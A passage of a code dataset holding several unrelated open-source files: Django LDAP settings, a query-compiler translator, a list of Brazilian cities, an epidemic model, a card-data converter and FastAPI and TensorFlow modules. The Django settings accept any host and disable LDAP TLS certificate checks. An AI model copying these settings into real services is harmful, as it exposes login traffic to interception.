Hosts/domain names that are valid for this site\n# See https://docs.djangoproject.com/en/1.6/ref/settings/#allowed-hosts\nALLOWED_HOSTS = [\"*\"]\n# END SITE CONFIGURATION\n\n\nINSTALLED_APPS += (\"gunicorn\",)\n\n# AUTHENTICATION\n# --------------\nAUTH_LDAP_SERVER_URI = env('AUTH_LDAP_SERVER_URI')\nAUTH_LDAP_BIND_AS_AUTHENTICATING_USER = env('AUTH_LDAP_BIND_AS_AUTHENTICATING_USER', default=True)\n\nAUTH_LDAP_GLOBAL_OPTIONS = {\n ldap.OPT_X_TLS_REQUIRE_CERT: ldap.OPT_X_TLS_NEVER,\n ldap.OPT_NETWORK_TIMEOUT: 10,\n ldap.OPT_DEBUG_LEVEL: 255\n}\n\nAUTH_LDAP_BIND_DN = ''\nAUTH_LDAP_BIND_PASSWORD = ''\nAUTH_LDAP_USER_DN_TEMPLATE = env('AUTH_LDAP_USER_DN_TEMPLATE', default=None)\nAUTH_LDAP_USER_SEARCH_DN = env('AUTH_LDAP_USER_SEARCH_DN')\nAUTH_LDAP_GROUP_SEARCH_DN = env('AUTH_LDAP_GROUP_SEARCH_DN')\nAUTH_LDAP_SUPERUSER_DN = env('AUTH_LDAP_SUPERUSER_DN', default=None)\n\n\nWRISTBAND_ENV = env('WRISTBAND_ENV', default='prod')\nAUTH_LDAP_USER_SEARCH = LDAPSearch(AUTH_LDAP_USER_SEARCH_DN, ldap.SCOPE_SUBTREE, \"(uid=%(user)s)\")\nAUTH_LDAP_GROUP_SEARCH = LDAPSearch(AUTH_LDAP_GROUP_SEARCH_DN, ldap.SCOPE_SUBTREE, \"(objectClass=groupOfNames)\")\nAUTH_LDAP_GROUP_TYPE = GroupOfNamesType()\nAUTH_LDAP_CACHE_GROUPS = True\nAUTH_LDAP_GROUP_CACHE_TIMEOUT = 300\nAUTH_LDAP_REQUIRE_GROUP = env('AUTH_LDAP_REQUIRE_GROUP', default=None)\n# We're not ready for this yet....\n# AUTH_LDAP_USER_FLAGS_BY_GROUP = {\n# \"is_superuser\": AUTH_LDAP_SUPERUSER_DN\n# }\n", "source": "hmrc/wristband", "license": "Apache-2.0"}
+{"text": "from ..ops import *\n\nclass Translator(object):\n \"\"\"\n A translator wraps a physical operator and provides the compilation logic.\n It follows the producer/consumer model.\n\n It also contains information about the lineage it needs to capture.\n \"\"\"\n\n _id = 0\n def __init__(self, op):\n self.id = Translator._id\n Translator._id += 1\n self.op = op\n self.child_translator = None\n self.parent_translator = None\n\n self.l_materialize = False\n self.l_capture = False\n self.l_prev_translator = None # previous translator that contains lindexes\n self.lindex = None\n self.lindexes = []\n\n @property\n def propagated_lindexes(self):\n \"\"\"\n Join\n / \\\n Join C\n | |\n A B\n\n \"\"\"\n return self.lindexes\n\n def prepare(self, c, p, pipeline):\n self.child_translator = c\n self.parent_translator = p\n self.pipeline = pipeline\n\n def is_type(self, klasses):\n if not isinstance(klasses, list):\n klasses = [klasses]\n return any(isinstance(self, k) for k in klasses)\n\n def produce(self, ctx):\n pass\n\n def consume(self, ctx):\n pass\n\n def compile_expr(self, ctx, e):\n \"\"\"\n @return var name containing expression result\n \"\"\"\n raise Exception(\"Not implemented\")\n\n def compile_exprs(self, ctx, exprs):\n \"\"\"\n @return [varname,] list of expression results\n \"\"\"\n raise Exception(\"Not implemented\")\n\n def compile_new_tuple(self, ctx, schema):\n \"\"\"\n @return varname containing the new tuple\n \"\"\"\n raise Exception(\"Not implemented\")\n\n def clean_prev_lineage_indexes(self):\n \"\"\"\n Clean up (delete) previous lineage indexes, \n if they are not materialized\n \"\"\"\n if self.l_capture and self.l_prev_translator:\n self.l_prev_translator.clean_lineage_indexes()\n\n def clean_lineage_indexes(self):\n if self.l_capture and not self.l_materialize:\n for lindex in self.propagated_lindexes:\n lindex.clean_lineage_indexes()\n self.lindex = None\n self.lindexes = []\n\n if hasattr(self, \"left\") and self.left:\n self.left.lindex = None\n self.left.lindexes = []\n\n def pretty_print(self):\n return self.op.pretty_print()\n\n def __str__(self):\n return \"%s: %s\" % (self.id, self.__class__.__name__)\n\n\nclass BottomTranslator(Translator):\n \"\"\"\n Unary operators that are pipeline breakers (groupby, orderby)\n are split into bottom and top translators.\n\n Bottom is responsible for buffering tuples in an appropriate data structure\n (hashtable for groupby, list for orderby)\n \"\"\"\n def __init__(self, op):\n super(BottomTranslator, self).__init__(op)\n\n self.l_i = None\n\nclass TopTranslator(Translator):\n \"\"\"\n Top is responsible for processing and walking the populated data struture\n from Bottom and generating output tuples for its parent tranlators\n \"\"\"\n def __init__(self, op, bottom):\n super(TopTranslator, self).__init__(op)\n self.bottom = bottom\n self.l_i = None # source rid\n self.l_o = None # output rid\n\n def initialize_lineage_indexes(self, ctx):\n pass\n\n def populate_lineage_indexes(self, ctx, v_bucket):\n pass\n\n\nclass LeftTranslator(Translator):\n \"\"\"\n Binary join operators are split into a left and right side.\n\n For hash joins, the left translator is a pipeline breaker that\n collects tuples in a hash table.\n For theta joins, the left is just a loop\n \"\"\"\n def __init__(self, op):\n super(LeftTranslator, self).__init__(op)\n self.l_i = None\n\n\nclass RightTranslator(Translator):\n \"\"\"\n Iterates over the right side of the join and probes the left side.\n \"\"\"\n def __init__(self, op, left):\n super(RightTranslator, self).__init__(op)\n self.left = left\n assert(op.is_type(Join))\n\n self.l_i = None\n self.l_o = None\n\n @property\n def propagated_lindexes(self):\n ret = []\n ret.extend(self.left.propagated_lindexes)\n ret.extend(self.lindexes)\n return ret\n\n\n", "source": "ivychen/databass-public", "license": "MIT"}
+{"text": "cities = [\n 'Sao Paulo',\n 'Rio de Janeiro',\n 'Salvador',\n 'Fortaleza',\n 'Belo Horizonte',\n 'Brasilia',\n 'Curitiba',\n 'Manaus',\n 'Recife',\n 'Belem',\n 'Porto Alegre',\n 'Goiania',\n 'Guarulhos',\n 'Campinas',\n 'Nova Iguacu',\n 'Maceio',\n 'Sao Luis',\n 'Duque de Caxias',\n 'Natal',\n 'Teresina',\n 'Sao Bernardo do Campo',\n 'Campo Grande',\n 'Jaboatao',\n 'Osasco',\n 'Santo Andre',\n 'Joao Pessoa',\n 'Jaboatao dos Guararapes',\n 'Contagem',\n 'Ribeirao Preto',\n 'Sao Jose dos Campos',\n 'Uberlandia',\n 'Sorocaba',\n 'Cuiaba',\n 'Aparecida de Goiania',\n 'Aracaju',\n 'Feira de Santana',\n 'Londrina',\n 'Juiz de Fora',\n 'Belford Roxo',\n 'Joinville',\n 'Niteroi',\n 'Sao Joao de Meriti',\n 'Ananindeua',\n 'Florianopolis',\n 'Santos',\n 'Ribeirao das Neves',\n 'Vila Velha',\n 'Serra',\n 'Diadema',\n 'Campos dos Goytacazes',\n 'Maua',\n 'Betim',\n 'Caxias do Sul',\n 'Sao Jose do Rio Preto',\n 'Olinda',\n 'Carapicuiba',\n 'Campina Grande',\n 'Piracicaba',\n 'Macapa',\n 'Itaquaquecetuba',\n 'Bauru',\n 'Montes Claros',\n 'Canoas',\n 'Mogi das Cruzes',\n 'Sao Vicente',\n 'Jundiai',\n 'Pelotas',\n 'Anapolis',\n 'Vitoria',\n 'Maringa',\n 'Guaruja',\n 'Porto Velho',\n 'Franca',\n 'Blumenau',\n 'Foz do Iguacu',\n 'Ponta Grossa',\n 'Paulista',\n 'Limeira',\n 'Viamao',\n 'Suzano',\n 'Caucaia',\n 'Petropolis',\n 'Uberaba',\n 'Rio Branco',\n 'Cascavel',\n 'Novo Hamburgo',\n 'Vitoria da Conquista',\n 'Barueri',\n 'Taubate',\n 'Governador Valadares',\n 'Praia Grande',\n 'Varzea Grande',\n 'Volta Redonda',\n 'Santa Maria',\n 'Santa Luzia',\n 'Gravatai',\n 'Caruaru',\n 'Boa Vista',\n 'Ipatinga',\n 'Sumare',\n 'Juazeiro do Norte',\n 'Embu',\n 'Imperatriz',\n 'Colombo',\n 'Taboao da Serra',\n 'Jacarei',\n 'Marilia',\n 'Presidente Prudente',\n 'Sao Leopoldo',\n 'Itabuna',\n 'Sao Carlos',\n 'Hortolandia',\n 'Mossoro',\n 'Itapevi',\n 'Sete Lagoas',\n 'Sao Jose',\n 'Palmas',\n 'Americana',\n 'Petrolina',\n 'Divinopolis',\n 'Maracanau',\n 'Planaltina',\n 'Santarem',\n 'Camacari',\n \"Santa Barbara d'Oeste\",\n 'Rio Grande',\n 'Cachoeiro de Itapemirim',\n 'Itaborai',\n 'Rio Claro',\n 'Indaiatuba',\n 'Passo Fundo',\n 'Cotia',\n 'Francisco Morato',\n 'Aracatuba',\n 'Araraquara',\n 'Ferraz de Vasconcelos',\n 'Arapiraca',\n 'Lages',\n 'Barra Mansa',\n 'Nossa Senhora do Socorro',\n 'Dourados',\n 'Criciuma',\n 'Chapeco',\n 'Barreiras',\n 'Sobral',\n 'Itajai',\n 'Ilheus',\n 'Angra dos Reis',\n 'Nova Friburgo',\n 'Rondonopolis',\n 'Itapecerica da Serra',\n 'Guarapuava',\n 'Parnamirim',\n 'Caxias',\n 'Nilopolis',\n 'Pocos de Caldas',\n 'Maraba',\n 'Luziania',\n 'Cabo',\n 'Macae',\n 'Ibirite',\n 'Lauro de Freitas',\n 'Paranagua',\n 'Parnaiba',\n 'Itu',\n 'Castanhal',\n 'Sao Caetano do Sul',\n 'Queimados',\n 'Pindamonhangaba',\n 'Sapucaia',\n 'Jaragua do Sul',\n 'Mogi Guacu',\n 'Jequie',\n 'Itapetininga',\n 'Patos de Minas',\n 'Braganca Paulista',\n 'Timon',\n 'Sao Jose dos Pinhais',\n 'Teresopolis',\n 'Uruguaiana',\n 'Porto Seguro',\n 'Alagoinhas',\n 'Palhoca',\n 'Barbacena',\n 'Cachoeirinha',\n 'Santa Rita',\n 'Toledo',\n 'Jau',\n 'Cubatao',\n 'Pinhais',\n 'Simoes Filho',\n 'Varginha',\n 'Sinop',\n 'Pouso Alegre',\n 'Eunapolis',\n 'Botucatu',\n 'Jandira',\n 'Ribeirao Pires',\n 'Conselheiro Lafaiete',\n 'Resende',\n 'Araucaria',\n 'Atibaia',\n 'Varzea Paulista',\n 'Garanhuns',\n 'Araruama',\n 'Catanduva',\n 'Franco da Rocha',\n 'Cabo Frio',\n 'Ji Parana',\n 'Araras',\n 'Poa',\n 'Vitoria de Santo Antao',\n 'Umuarama',\n 'Apucarana',\n 'Santa Cruz do Sul',\n 'Guaratingueta',\n 'Linhares',\n 'Araguaina',\n 'Esmeraldas',\n 'Birigui',\n 'Assis',\n 'Barretos',\n 'Colatina',\n 'Teofilo Otoni',\n 'Guaiba',\n 'Guarapari',\n 'Coronel Fabriciano',\n 'Itaguai',\n 'Rio das Ostras',\n 'Itabira',\n 'Votorantim',\n 'Sertaozinho',\n 'Santana de Parnaiba',\n 'Bage',\n 'Passos',\n 'Salto',\n 'Uba',\n 'Ourinhos',\n 'Trindade',\n 'Arapongas',\n 'Araguari',\n 'Corumba',\n 'Erechim',\n 'Japeri',\n 'Vespasiano',\n 'Campo Largo',\n 'Tatui',\n 'Patos',\n 'Timoteo',\n 'Muriae',\n 'Cambe',\n 'Bayeux',\n 'Bento Goncalves',\n 'Caraguatatuba',\n 'Itanhaem',\n 'Santana do Livramento',\n 'Almirante Tamandare',\n 'Planaltina',\n 'Crato',\n 'Valinhos',\n 'Sao Lourenco da Mata',\n 'Nova Lima',\n 'Brusque',\n 'Barra do Pirai',\n 'Alegrete',\n 'Caieiras',\n 'Barra do Corda',\n 'Igarassu',\n 'Paulo Afonso',\n 'Ituiutaba',\n 'Esteio',\n 'Sarandi',\n 'Itaperuna',\n 'Santana',\n 'Jardim Paulista',\n 'Codo',\n 'Araxa',\n 'Abreu e Lima',\n 'Itajuba',\n 'Lavras',\n 'Avare',\n 'Formosa',\n 'Leme',\n 'Cruzeiro do Sul',\n 'Itumbiara',\n 'Marica',\n 'Ubatuba',\n 'Tres Lagoas',\n 'Sao Joao del Rei',\n 'Mogi Mirim',\n 'Abaetetuba',\n 'Sao Bento do Sul',\n 'Itauna',\n 'Sao Mateus',\n 'Jatai',\n 'Sao Joao da Boa Vista',\n 'Lorena',\n 'Santa Cruz do Capibaribe',\n 'Sao Sebastiao',\n 'Tucurui',\n 'Embu Guacu',\n 'Sapiranga',\n 'Para de Minas',\n 'Campo Mourao',\n 'Cachoeira do Sul',\n 'Santo Antonio de Jesus',\n 'Paranavai',\n 'Joao Monlevade',\n 'Matao',\n 'Bacabal',\n 'Cacapava',\n 'Aruja',\n 'Cruzeiro',\n 'Patrocinio',\n 'Tres Rios',\n 'Bebedouro',\n 'Sao Cristovao',\n 'Alfenas',\n 'Ijui',\n 'Altamira',\n 'Paracatu',\n 'Carpina',\n 'Iguatu',\n 'Votuporanga',\n 'Paragominas',\n 'Lins',\n 'Jaboticabal',\n 'Vicosa',\n 'Sao Sebastiao do Paraiso',\n 'Balsas',\n 'Itatiba',\n 'Santa Ines',\n 'Tubarao',\n 'Pato Branco',\n 'Paulinia',\n 'Lajeado',\n 'Cruz Alta',\n 'Aquiraz',\n 'Itacoatiara',\n 'Gurupi',\n 'Itaituba',\n 'Santo Angelo',\n 'Parintins',\n 'Curvelo',\n 'Itabaiana',\n 'Cacador',\n 'Ouro Preto',\n 'Caldas Novas',\n 'Irece',\n 'Catalao',\n 'Tres Coracoes',\n 'Rio Largo',\n 'Vilhena',\n 'Valenca',\n 'Peruibe',\n 'Itapeva',\n 'Cataguases',\n 'Saquarema',\n 'Tupa',\n 'Fernandopolis',\n 'Senador Canedo',\n 'Itapira',\n 'Gravata',\n 'Valenca',\n 'Pirassununga',\n 'Unai',\n 'Caratinga',\n 'Itapetinga',\n 'Mococa',\n 'Sao Borja',\n 'Carazinho',\n 'Santa Rosa',\n 'Telemaco Borba',\n 'Guanambi',\n 'Aracruz',\n 'Ariquemes',\n 'Farroupilha',\n 'Francisco Beltrao',\n 'Picos',\n 'Lencois Paulista',\n 'Arcoverde',\n 'Braganca',\n 'Vacaria',\n 'Cajamar',\n 'Janauba',\n 'Vinhedo',\n 'Formiga',\n 'Cianorte',\n 'Nova Vicosa',\n 'Itapipoca',\n 'Ponta Pora',\n 'Estancia',\n 'Cacoal',\n 'Sao Gabriel',\n 'Concordia',\n 'Pacatuba',\n 'Viana',\n 'Sao Pedro da Aldeia',\n 'Caico',\n 'Seropedica'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"}
+{"text": "\"\"\"\nCan be used to build the cython code. However, this should be done for you when imported using\npyximport\n\"\"\"\n\n__author__ = 'Neil Parley'\nfrom distutils.core import setup\nfrom Cython.Build import cythonize\n\nsetup(\n ext_modules=cythonize(\"aperture_sum.pyx\"), requires=['Cython', 'flask', 'wtforms']\n)", "source": "nparley/signal_to_noise_ccd", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\n####################################################################\n### This is the PYTHON version of program 3.4 from page 87 of #\n### \"Modeling Infectious Disease in humans and animals\" #\n### by Keeling & Rohani.\t\t\t\t\t\t\t\t\t\t #\n###\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n### It is the SEIR model with four different age-groups and \t #\n### yearly \"movements\" between the groups mimicking the school year#\n####################################################################\n\n###################################\n### Written by Ilias Soumpasis #\n### ilias.soumpasis@ucd.ie (work) #\n### ilias.soumpasis@gmail.com\t #\n###################################\n\nimport scipy.integrate as spi\nimport numpy as np\nimport pylab as pl\nfrom matplotlib.font_manager import FontProperties\n\nm = 4\nmu = np.array([0.0, 0.0, 0.0, 1.0 / (55 * 365)])\nnu = np.array([1.0 / (55 * 365), 0.0, 0.0, 0.0])\nn = np.array([6.0, 4.0, 10.0, 55.0]) / 75.0\nS0 = np.array([0.05, 0.01, 0.01, 0.008])\nE0 = np.array([0.0001, 0.0001, 0.0001, 0.0001])\nI0 = np.array([0.0001, 0.0001, 0.0001, 0.0001])\nR0 = np.array([0.0298, 0.04313333, 0.12313333, 0.72513333])\nND = MaxTime = 365.0\nbeta = np.array(\n (\n [2.089, 2.089, 2.086, 2.037],\n [2.089, 9.336, 2.086, 2.037],\n [2.086, 2.086, 2.086, 2.037],\n [2.037, 2.037, 2.037, 2.037],\n )\n)\ngamma = 1 / 5.0\nsigma = 1 / 8.0\nTS = 1.0\n\n\nINPUT = np.hstack((S0, E0, I0, R0))\n\n\ndef diff_eqs(INP, t):\n \"\"\"The main set of equations\"\"\"\n Y = np.zeros((16))\n V = INP\n for i in range(m):\n Inf = np.dot(beta[i], V[list(np.array(range(m)) + 2 * m)]) * V[i]\n Y[i] = nu[i] * n[3] - Inf - mu[i] * V[i]\n Y[(m + i)] = Inf - mu[i] * V[(m + i)] - sigma * V[(m + i)]\n Y[(2 * m + i)] = sigma * V[(m + i)] - gamma * V[(2 * m + i)] - mu[i] * V[(2 * m + i)]\n Y[(3 * m + i)] = gamma * V[(2 * m + i)] - mu[i] * V[(3 * m + i)]\n return Y # For odeint\n\n\nt_start = 0.0\nt_end = ND\nt_inc = TS\nt_range = np.arange(t_start, t_end + t_inc, t_inc)\n\nRES2 = np.zeros((16))\nk = 1\nwhile k <= 100:\n RES = spi.odeint(diff_eqs, INPUT, t_range)\n INPUT = RES[-1]\n INPUT[15] = INPUT[15] + INPUT[14] / 10\n INPUT[14] = INPUT[14] + INPUT[13] / 4 - INPUT[14] / 10\n INPUT[13] = INPUT[13] + INPUT[12] / 6 - INPUT[13] / 4\n INPUT[12] = INPUT[12] - INPUT[12] / 6\n\n INPUT[11] = INPUT[11] + INPUT[10] / 10\n INPUT[10] = INPUT[10] + INPUT[9] / 4 - INPUT[10] / 10\n INPUT[9] = INPUT[9] + INPUT[8] / 6 - INPUT[9] / 4\n INPUT[8] = INPUT[8] - INPUT[8] / 6\n\n INPUT[7] = INPUT[7] + INPUT[6] / 10\n INPUT[6] = INPUT[6] + INPUT[5] / 4 - INPUT[6] / 10\n INPUT[5] = INPUT[5] + INPUT[4] / 6 - INPUT[5] / 4\n INPUT[4] = INPUT[4] - INPUT[4] / 6\n\n INPUT[3] = INPUT[3] + INPUT[2] / 10\n INPUT[2] = INPUT[2] + INPUT[1] / 4 - INPUT[2] / 10\n INPUT[1] = INPUT[1] + INPUT[0] / 6 - INPUT[1] / 4\n INPUT[0] = INPUT[0] - INPUT[0] / 6\n RES2 = np.vstack((RES2, RES))\n k = k + 1\n\nRES = RES2[\n 1:,\n]\nprint(RES)\n\nTime = np.arange(100 * (ND + 1)) / (ND + 1)\n\n##Ploting\npl.subplot(311)\npl.plot(Time, RES[:, 0], \"c\", label=\"0-6\")\npl.plot(Time, RES[:, 1], \"b\", label=\"6-10\")\npl.plot(Time, RES[:, 2], \"g\", label=\"10-20\")\npl.plot(Time, RES[:, 3], \"r\", label=\"20+\")\npl.ylabel(\"Susceptibles\")\npl.xlabel(\"Time (years)\")\npl.legend(loc=1, prop=FontProperties(size=\"smaller\"))\n\n\npl.subplot(312)\npl.semilogy(Time, RES[:, 0 + 2 * m], \"c\", label=\"0-6\")\npl.semilogy(Time, RES[:, 1 + 2 * m], \"b\", label=\"6-10\")\npl.semilogy(Time, RES[:, 2 + 2 * m], \"g\", label=\"10-20\")\npl.semilogy(Time, RES[:, 3 + 2 * m], \"r\", label=\"20+\")\npl.ylabel(\"Infectious\")\npl.xlabel(\"Time (years)\")\npl.legend(loc=1, prop=FontProperties(size=\"smaller\"))\n\nR = np.zeros(4)\npl.subplot(313)\nmm = pl.find(Time > (ND - 365.0))\nfor i in range(4):\n R[i] = 1.0 - np.mean(RES[mm, i]) / n[i]\n\npl.fill(\n np.array([0, 0, 6, 6, 6, 6, 10, 10, 10, 10, 20, 20, 20, 20, 75, 75]),\n np.array([0, R[0], R[0], 0, 0, R[1], R[1], 0, 0, R[2], R[2], 0, 0, R[3], R[3], 0]),\n \"r\",\n)\npl.xlabel(\"Age-group\")\npl.ylabel(\"Proportion Sero-positive\")\npl.xlim((0, 25))\npl.ylim((0, 1))\npl.show()\n", "source": "jpmieville/sir", "license": "MIT"}
+{"text": "\"\"\"\n\nDefine Connection class.\n- Special type of Equation that are used as source or sink terms (process inlet or outlet, respectively) or to connect two different Model objects.\n\n\"\"\"\n\nfrom core.Equation import *\n\nclass base_(object):\n\n pass\n\nclass Connection(base_,Equation):\n\n def __init__(self, name, description, connection_type = 'source', fast_expr = None):\n\n super(self.__class__,self).__init__(name, description, fast_expr)\n\n \"\"\"\n Inidial definitions.\n\n :param str name:\n Name for the current equation\n\n :param str description:\n Description for the present equation. Defauls to \"\"\n\n :param str connection_type:\n Type of the connection. Options are 'source', when a source term is declared (eg: process inlet); 'sink', when a sink term is declared (eq: process outlet); 'input', when a input from the other model output is declared (thus, a source term coming from the sink term from another model); 'output', when a output the output of a model is declared (used as input by another model). Defaults to 'source'.\n\n :param ExpressionTree fast_expr:\n ExpressionTree object to declare for the current Equation object. If declared, the moethod '.setResidual' are executed as a shortcut. Defaults to None.\n \n \"\"\"\n\n self.connection_type = connection_type", "source": "volpatto/sloth", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n\nimport json\n\n# Just FYI!\n# b (banned) = [sml] (standard, modern, legacy)\n# c (color) = White = A, Blue = B, Black = C, Red = D, Green = E, Gold = F, Artifact = G , Split = S, Unknown = X, Land = Z\n# m (CMC) = N (Split = 98, Land = 99)\n# n (actual name) = 'true name nemesis' to 'True Name Nemesis'\n# t (type) = 1 = land, 2 = creature, 3 = instant or sorcery 4 = other\n\nFORMATS = {\n 'standard': 's',\n 'modern': 'm',\n 'legacy': 'l'\n}\n\ndef getLegalities(card, cards):\n # Let's figure out legalities\n banned = 'sml'\n\n for gameformat, abbrevation in FORMATS.items():\n if cards[card].get('legalities', {}).get(gameformat) == 'Legal':\n banned = banned.replace(abbrevation, '')\n\n return(banned)\n\n# Open the JSON file\njsonfh = open(\"AllCards.json\", \"r\")\n\n# Load all the cards into a giant dictionary\ncards = json.load(jsonfh)\n\n# Gotta store these cards in a dictionary\nocards = {}\n\n# Okay, we need the colors but in a much shorter format\nfor card in cards:\n\n # We're going to store them in lowercase\n ocard = card.lower()\n\n # Python's Unicode support sucks, as does everybodies. Manually\n # replace the Ae to lower case\n ocard = ocard.replace(u'\\xc6', u'\\xe6')\n\n # Skip tokens\n if cards[card]['layout'] == 'token': continue\n\n # Create an entry in the output dictionary\n ocards[ocard] = {}\n\n # Lands and (noncolored) artifacts are special\n if 'Land' in cards[card]['types']:\n ocards[ocard]['c'] = 'Z' # Sort lands last\n elif (('Artifact' in cards[card]['types']) and ('colors' not in cards[card])):\n ocards[ocard]['c'] = 'G'\n\n # Make the colors shorter\n if ('colors' not in cards[card]): pass\n elif len(cards[card]['colors']) > 1: ocards[ocard]['c'] = 'F' # gold\n elif cards[card]['colors'] == ['White']: ocards[ocard]['c'] = 'A'\n elif cards[card]['colors'] == ['Blue']: ocards[ocard]['c'] = 'B'\n elif cards[card]['colors'] == ['Black']: ocards[ocard]['c'] = 'C'\n elif cards[card]['colors'] == ['Red']: ocards[ocard]['c'] = 'D'\n elif cards[card]['colors'] == ['Green']: ocards[ocard]['c'] = 'E'\n\n if 'Land' in cards[card]['types']: ocards[ocard]['t'] = '1'\n elif 'Creature' in cards[card]['types']: ocards[ocard]['t'] = '2'\n elif 'Sorcery' in cards[card]['types']: ocards[ocard]['t'] = '3'\n elif 'Instant' in cards[card]['types']: ocards[ocard]['t'] = '3'\n else: ocards[ocard]['t'] = '4'\n\n # Now try to deal with CMC\n if 'cmc' not in cards[card]: ocards[ocard]['m'] = 99\n else: ocards[ocard]['m'] = cards[card]['cmc']\n\n # Add it into the file if the banned list isn't empty\n legality = getLegalities(card, cards)\n if legality != \"\": ocards[ocard]['b'] = legality\n\n # And put the true name in there as well\n ocards[ocard]['n'] = card\n\n # Now to handle split cards (ugh)\n if 'names' in cards[card]:\n name = \" // \".join(cards[card]['names'])\n ocard = name.lower().replace(u'\\xc6', u'\\xe6') # Just like a real card\n\n ocards[ocard] = {}\n ocards[ocard]['c'] = 'S'\n ocards[ocard]['m'] = 98 \n ocards[ocard]['n'] = name\n\n legality = getLegalities(card, cards)\n if legality != \"\": ocards[ocard]['b'] = legality\n\n\n# Print out the full list of cards\nojsonfh = open(\"decklist-cards.js\", \"w\")\nojsonfh.write('cards=')\njson.dump(ocards, ojsonfh)\nojsonfh.close()\n", "source": "ggekos/decklist", "license": "MIT"}
+{"text": "class Test:\n \"\"\"\n Lorem ipsum dolor sit amet, consectetur adipiscing elit,\n deserunt mollit anim id est laborum.\n\n .. sourcecode:: pycon\n\n >>> # extract 100 LDA topics, using default parameters\n >>> lda = LdaModel(corpus=mm, id2word=id2word, num_topics=100, distributed=True)\n\n using distributed version with 4 workers\n running online LDA training, 100 topics, 1 passes over the supplied corpus of 3199665 documets,\n updating model once every 40000 documents\n ..\n\n Some another text\n \"\"\"\n\n some_field = 1\n", "source": "kataev/flake8-rst", "license": "MIT"}
+{"text": "import json\nimport logging\nimport re\nimport sys\n\nfrom fastapi import FastAPI, Request\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi.middleware.gzip import GZipMiddleware\nfrom fastapi.openapi.utils import get_openapi\nfrom fastapi.responses import JSONResponse\nfrom timvt.db.catalog import table_index\nfrom timvt.db.events import close_db_connection, connect_to_db\nfrom timvt.endpoints import tiles, demo, index\nfrom timvt.models.metadata import TableMetadata\nfrom .routers.titiler_router import router as cogrouter\nfrom .routers.attribute_router import router as attribute_router\nfrom typing import List\n\nlogging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n\napp = FastAPI(docs_url=\"/\")\napp.add_middleware(CORSMiddleware, allow_origins=[\"*\"])\napp.add_middleware(GZipMiddleware, minimum_size=0)\n\n\n@app.on_event(\"startup\")\nasync def startup_event():\n \"\"\"\n Application startup:\n register the database connection and create table list.\n \"\"\"\n await connect_to_db(app)\n # Fetch database table list\n app.state.Catalog = await table_index(app.state.pool)\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown_event():\n \"\"\"Application shutdown: de-register the database connection.\"\"\"\n await close_db_connection(app)\n\napp.include_router(\n attribute_router, prefix=\"/vector\", tags=['Tiles']\n)\napp.include_router(\n demo.router, prefix=\"/vector\",\n)\napp.include_router(\n tiles.router, prefix=\"/vector\",\n)\napp.include_router(\n index.router, prefix=\"/vector\",\n)\n\napp.include_router(\n cogrouter, prefix=\"/cog\", tags=['Raster Tiles (COG)']\n)\n\n\n@app.get(\n \"/vector/index\",\n response_model=List[TableMetadata],\n tags=[\"Tiles\"],\n description=\"Reindex the Vector Data Catalog.\",\n)\nasync def reindex(\n request: Request\n):\n \"\"\"Force a reindex of the catalog.\"\"\"\n request.app.state.Catalog = await table_index(request.app.state.pool)\n return [\n TableMetadata(\n **table,\n link=request.url_for(\"tilejson\", table=table[\"id\"])\n )\n for table in request.app.state.Catalog\n ]\n\n\n# remove \"/tiles/{identifier}/{table}/{z}/{x}/{y}.pbf\" endpoint\nfor r in app.routes:\n if r.path == \"/vector/\":\n app.routes.remove(r)\n\n\n# TODO: remove when https://github.com/developmentseed/titiler/pull/46 is merged\n@app.middleware(\"http\")\nasync def remove_memcached_middleware(request: Request, call_next):\n \"\"\"\n Remove memcached layer from titiler (quick and dirty approach)\n Note: This could effect any other routes that happen to use state.cache,\n which could be bad. timvt does not reference a cache state.\n \"\"\"\n request.state.cache = None\n return await call_next(request)\n\n\n@app.get(\"/RiskSchema.json\", tags=[\"Risk Schema\"], summary=\"Risk Schema\")\nasync def root(request: Request) -> JSONResponse:\n with open(\"app/templates/RiskSchema.json\", \"r\") as f:\n content = json.loads(f.read())\n\n response = JSONResponse(content=content, status_code=200)\n\n return response\n\n\ndef custom_openapi(openapi_prefix: str):\n if app.openapi_schema:\n return app.openapi_schema\n o = get_openapi(\n title=\"World Bank Covid API\",\n version=\"0.1\",\n description=\"API for World Bank Covid 19 Project\",\n routes=app.routes,\n openapi_prefix=openapi_prefix,\n )\n\n cat = app.state.Catalog\n tables_schema = {\"title\": \"Table\", \"enum\": [r[\"table\"] for r in cat]}\n # raise Exception(o['paths'].keys())\n for path in o[\"paths\"].values():\n get = path.get(\"get\")\n if get is not None:\n summary = get.get(\"summary\", None)\n tags = get.get(\"tags\", None)\n parameters = get.get(\"parameters\", None)\n if summary == \"Demo\":\n get[\"summary\"] = \"Vector Tile Simple Viewer\"\n get[\"tags\"] = [\"Vector Tile API\"]\n if summary == \"Display Index\":\n get[\"summary\"] = \"Available Layer Metadata\"\n get[\"tags\"] = [\"Vector Tile API\"]\n if \"Tiles\" in tags:\n get[\"tags\"] = [\"Vector Tile API\"]\n if parameters is not None:\n for param in parameters:\n if param.get(\"description\") == \"Table Name\":\n param[\"schema\"] = tables_schema\n app.openapi_schema = o\n return app.openapi_schema\n\n\napp.openapi = custom_openapi\n", "source": "developmentseed/covid-wb-api", "license": "MIT"}
+{"text": "import tensorflow as tf\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.layers import Dense\nfrom .layers import Encoder, Decoder, GraphConvolution\n\n\nclass VariationalAutoEncoder(Model):\n \"\"\"Combines the encoder and decoder into an end-to-end model for training.\"\"\"\n\n def __init__(\n self,\n original_dim,\n intermediate_dim=64,\n latent_dim=32,\n name=\"autoencoder\",\n **kwargs\n ):\n super(VariationalAutoEncoder, self).__init__(name=name, **kwargs)\n self.original_dim = original_dim\n self.encoder = Encoder(latent_dim=latent_dim, intermediate_dim=intermediate_dim)\n self.decoder = Decoder(original_dim, intermediate_dim=intermediate_dim)\n\n def call(self, inputs):\n z_mean, z_log_var, z = self.encoder(inputs)\n reconstructed = self.decoder(z)\n # Add KL divergence regularization loss.\n kl_loss = -0.5 * tf.reduce_mean(\n z_log_var - tf.square(z_mean) - tf.exp(z_log_var) + 1\n )\n self.add_loss(kl_loss)\n return reconstructed\n\n\nclass GCN(Model):\n\n def __init__(self, dimension=32, num_classes=2, dropout=0., weight_decay=0., adj=None, 